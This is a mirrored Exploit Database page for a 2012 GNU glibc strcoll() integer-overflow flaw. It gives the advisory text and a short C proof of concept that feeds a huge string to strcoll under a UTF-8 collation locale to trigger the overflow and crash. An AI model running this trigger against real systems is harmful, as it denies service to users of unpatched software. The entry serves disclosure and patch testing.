GNU glibc – ‘strcoll()’ Routine Integer Overflow

• Exploit Database
• 118 阅读

• 作者： Jan iankko Lieskovsky
  日期： 2012-09-07
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/37783/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

  // source: https://www.securityfocus.com/bid/55462/info   GNU glibc is prone to a remote integer-overflow vulnerability which leads to buffer overflow vulnerability.   Successful exploits may allow an attacker to execute arbitrary code in the context of a user running an application that uses the affected library. Failed exploit attempts may crash the application, denying service to legitimate users.   #include <locale.h> #include <stdio.h> #include <stdlib.h> #include <string.h>   #define SIZE 429496730   int main (void) { char *p = malloc (1 + SIZE); if (setlocale (LC_COLLATE, "en_GB.UTF-8") == NULL) { puts ("setlocale failed, cannot test for overflow"); return 0; } if (p == NULL) { puts ("malloc failed, cannot test for overflow"); return 0; } memset (p, &apos;x&apos;, SIZE); p[SIZE] = 0; printf ("%d\n", strcoll (p, p)); return 0; }